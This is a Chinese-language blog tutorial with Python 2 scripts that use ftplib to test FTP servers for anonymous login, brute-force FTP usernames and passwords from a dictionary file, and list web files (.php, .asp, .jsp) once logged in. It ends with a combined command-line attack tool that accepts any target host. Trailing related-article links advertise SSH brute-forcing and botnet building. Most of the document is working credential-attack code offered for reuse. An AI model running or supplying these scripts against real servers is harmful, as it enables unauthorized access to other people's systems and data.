目录

判断FTP服务器是否允许匿名登录

暴力破解FTP口令

列出FTP目录内的网页文件

综合


环境:Windows python2.7.15

ftplib模块是python下用于ftp服务的模块 。

判断FTP服务器是否允许匿名登录

以下代码是判断FTP服务器是否允许匿名登录

我们写了一个anonLogin() 函数,使用 ftp.login()方法进行匿名登录,如果没有抛出异常,说明FTP服务器允许匿名登录。反之不允许。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:25:17 2018
@author: 小谢
"""
import ftplib
def anonLogin(hostname):
try:
ftp=ftplib.FTP(hostname) #实例化FTP连接
ftp.login('anonymous','') #匿名登录
print '\n[*] '+hostname+' FTP Anonymous Login Succeeded!'
ftp.quit() #退出FTP
return True
except Exception,e: #如果捕获到异常,说明不允许匿名登录
print '\n[-] '+str(hostname)+' FTP Anonymous Login Failed!'
return False
anonLogin('127.0.0.1')

暴力破解FTP口令

如果ftp服务器不允许匿名登录呢,我们就需要通过密码字典暴力破解ftp口令。我们通过读取密码字典中的用户名和口令,一个一个去尝试登录,如果没捕获到异常,说明用户名和口令正确!密码字典中用户名和口令用 : 分隔。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:36:49 2018
@author: 小谢
"""
import ftplib
def bruteLogin(hostname,passwdFile):
f=open(passwdFile,'r')
lines=f.readlines()
for line in lines:
user=line.split(":")[0] #用户名
passwd=line.split(":")[1].strip("\n") #密码
print '[+] Trying: '+user+": "+passwd
try:
ftp=ftplib.FTP(hostname) #实例化FTP连接
ftp.login(user,passwd) #登录
print '\n[*] '+hostname +' FTP Login Succeeded!'
ftp.quit() #退出FTP
return(user,passwd) #返回用户名和密码
except Exception,e:
pass
print '\n[-] Could not brute force FTP credentials!'
return(None,None)
a=bruteLogin("127.0.0.1","key.txt")
print("User:%s Password:%s"%a)

列出FTP目录内的网页文件

在得到了用户名和口令之后,我们就可以列出FTP目录下的文件,看是否存在网页文件。注意,我们这里只能判断FTP目录这一级的文件,而不能递归的判断目录内的文件。因为我们只知道FTP目录的相对路径,而不知道绝对路径!

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 10:51:13 2018 @author: 小谢
"""
import ftplib
import os
def returnDefault(ftp):
try:
dirList=ftp.nlst() #列出FTP目录下的文件或目录
except:
dirList=[]
print '[-] Could not list directory contents!'
return
retList=[]
for filename in dirList:
fn=filename.lower() #将目录名转换为小写
if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
print'[+] Found default page:'+filename
retList.append(filename)
return retList
def main():
ftp=ftplib.FTP("127.0.0.1") #实例化FTP连接
ftp.login("admin","root")
a=returnDefault(ftp)
if a:
print("Defalut Page List:")
for i in a:
print(i)
main()

综合

我们可以结合前面三个脚本,写一个汇总的脚本。当用户执行脚本的时候,没加 -F/-f 参数指定密码字典的时候,就默认查看FTP服务器是否可匿名登录,如果可匿名登录,则列出FTP目录下的网页文件。如果不能匿名登录,就提示不能匿名登录。当指定了-F/-f 参数的话,就暴力破解 FTP 口令,如果破解成功了,则列出FTP目录下是的网页文件。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 12:12:41 2018
@author: 小谢
"""
import parser
import optparse
import ftplib
def anonLogin(hostname): #验证是否可匿名登录
try:
ftp=ftplib.FTP(hostname)
ftp.login('','') #匿名登录
print '\n[*] '+hostname +' FTP Anonymous Login Succeeded!'
return (True,ftp)
except:
print '\n[-] '+str(hostname)+' FTP Anonymous Login Failed!'
return (False,ftp)
def bruteLogin(hostname,passwdFile): #暴力破解
f=open(passwdFile,'r')
lines=f.readlines()
for line in lines:
user=line.split(":")[0] #用户名
passwd=line.split(":")[1].strip("\n") #密码
try:
ftp=ftplib.FTP(hostname)
ftp.login(user,passwd)
print '\n[*] '+hostname +' FTP Login Succeeded!'
print("User:%s Password:%s"%(user,passwd))
return(True,ftp)
except Exception,e:
pass
print '\n[-] Could not brute force FTP credentials!'
return(False,ftp)
def returnDefault(ftp): #列出FTP目录下的网页文件
try:
dirList=ftp.nlst() #列出FTP目录下的文件或目录
except Exception,e:
print e
print '[-] Could not list directory contents!'
return
retList=[]
for filename in dirList:
fn=filename.lower() #将目录名转换为小写
if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
print'[+] Found default page:'+filename
retList.append(filename)
return retList
def main():
usage="python %prog -H <target host> -F/f <password file>" #显示文件的用法帮助信息
parser=optparse.OptionParser(usage) #实例化一个对象
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-f','-F',dest='File',type='string',help='target host')
(options,args)=parser.parse_args()
Host=options.Host
File=options.File
if Host==None:
print(parser.usage)
exit(0)
if File==None:
a=anonLogin(Host)
if a[0]:
returnDefault(a[1])
else:
b=bruteLogin(Host,File)
if b[0]:
returnDefault(b[1])
return
if __name__=="__main__":
main()

Python脚本暴力破解FTP口令(ftplib)的更多相关文章

  1. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  2. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  3. 暴力破解FTP服务器技术探讨与防范措施

    暴力破解FTP服务器技术探讨与防范措施 随着Internet的发展出现了由于大量傻瓜化黑客工具任何一种黑客攻击手段的门槛都降低了很多但是暴力破解法的工具制作都已经非常容易大家通常会认为暴力破解攻击只是 ...

  4. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  5. Python脚本自动化破解大白鲨摄像头(Shodan)

    关于本文的技术知识点,Shodan模块的用法,传送门-->  Python中shadon模块的使用    Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...

  6. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  7. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

  8. Fast RDP Brute暴力破解3389口令

    http://www.tuicool.com/articles/b67rQfr 下载地址:https://www.rekings.com/fast-rdp-brute-gui-v2-0/

  9. python实现暴力破解

    import urllib2 import urllib import cookielib import threading import sys import Queue from HTMLPars ...

随机推荐

  1. 简单的webRTC连接测试

    webRTC WebRTC (Web Real-Time Communications) 是一项实时通讯技术,它允许网络应用或者站点,在不借助中间媒介的情况下,建立浏览器之间点对点(Peer-to-P ...

  2. 『力荐汇总』这些 VS Code 快捷键太好用,忍不住录了这34张gif动图

    之前写过三篇文章,收获了极其不错的阅读量与转发量: 你真的会用 VS Code 的 Ctrl.Shift和Alt吗?高效易用的快捷键:多光标.跳转引用等轻松搞定 VS Code 中的 Vim 操作 | ...

  3. 文件包含-phpinfo()

    我也是听朋友说有这个姿势的,github有集成好的环境 先讲一下利用phpinfo上传文件,然后在文件包含的原理: 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理 ...

  4. mysql创建读写账号及服务相关优化配置

    grant select on xoms_prod.* to 'kzcf'@'%' identified by '123456'; 赋权多权限就   grant select,update,delet ...

  5. web之面试常问问题:如何实现水平垂直居中?

    前提准备,在HTML页面中定义一个div,div中内容自定义. <div class="box sc">致我们呼啸而过的青春</div> 样式: div.b ...

  6. asp.net core 实现支持自定义 Content-Type

    asp.net core 实现支持自定义 Content-Type Intro 我们最近有一个原本是内网的服务要上公网,在公网上有一层 Cloudflare 作为网站的公网流量提供者,CloudFla ...

  7. python基础学习之类的继承、魔法方法

    什么是继承 即类A可以使用类B的方法,即B是A的父类,A是B的子类,AB之间是继承关系 class Father():  # 父类 def __init__(self,name,age): self. ...

  8. LZZY高级语言程序设计之169页**5.17

    import java.util.Scanner;public class MQ3 { public static void main(String[] args) { Scanner sc = ne ...

  9. 从yield到yield from再到python协程

    yield 关键字 def fib(): a,b = 0,1 while 1: yield b a,b = b,a+b yield是在:PEP 255 -- Simple Generators 这个p ...

  10. 根据数据渲染DOM树形菜单——中途感想

    根据数据渲染DOM树形菜单,这个需求做了几天了.一开始觉得用while也可以实现一层一层查找数据,但后来发现while还是做不到,因为我查找这个动作必须有进入有出来然后进入下一个条目,但while只能 ...